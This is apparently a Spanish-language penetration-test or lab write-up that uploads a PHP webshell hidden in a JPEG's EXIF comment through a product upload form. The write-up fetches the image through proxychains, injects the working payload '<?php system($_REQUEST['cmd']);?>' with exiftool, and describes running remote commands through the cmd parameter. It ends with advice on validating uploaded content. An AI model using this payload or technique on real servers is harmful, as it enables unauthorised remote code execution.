Subida de WebShell sobre metadatos de una imagen con ExifTool
Descargamos una imagen con una dimension de 200x200:
┌──(root㉿kali)-[/tmp]
└─# proxychains curl -A chrome http://172.16.1.6/System/Sistema/Productos/uploads/10.jpg -o spartancybersec.jpg
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.1.6:80 ... OK
100 8147 100 8147 0 0 25898 0 --:--:-- --:--:-- --:--:-- 25945
Luego de descargar la imagen de 200x200 píxeles, se procede con añadir la WebShell como un comentario en los metadatos. Utilizamos una herramienta como ExifTool para agregar el código PHP en los metadatos de la imagen:
┌──(root㉿kali)-[/home/kali/Desktop/CPPJ]
└─# exiftool -comment='<?php system ($_REQUEST['cmd']);?>' spartancybersec.jpg
1 image files updated
Luego, subimos esta imagen al sistema a través del formulario de carga de productos:

Una vez que la imagen ha sido subida y almacenada en el servidor, podemos acceder a la WebShell enviando solicitudes al archivo de imagen y pasando comandos a través del parámetro cmd:

El servidor ejecutará el comando enviado y nos devolverá la respuesta, permitiéndonos controlar el servidor de forma remota.
Conclusión
Este ataque aprovecha una vulnerabilidad en el sistema de carga de archivos para insertar una WebShell. A través de la inspección del código de redimensionamiento de imágenes y la utilización de metadatos, logramos evitar la modificación de la imagen y mantener nuestra WebShell intacta. Este tipo de explotación demuestra la importancia de validar y sanitizar no solo el tipo de archivo subido, sino también su contenido y metadatos, para prevenir la ejecución de código malicioso en el servidor.
Last updated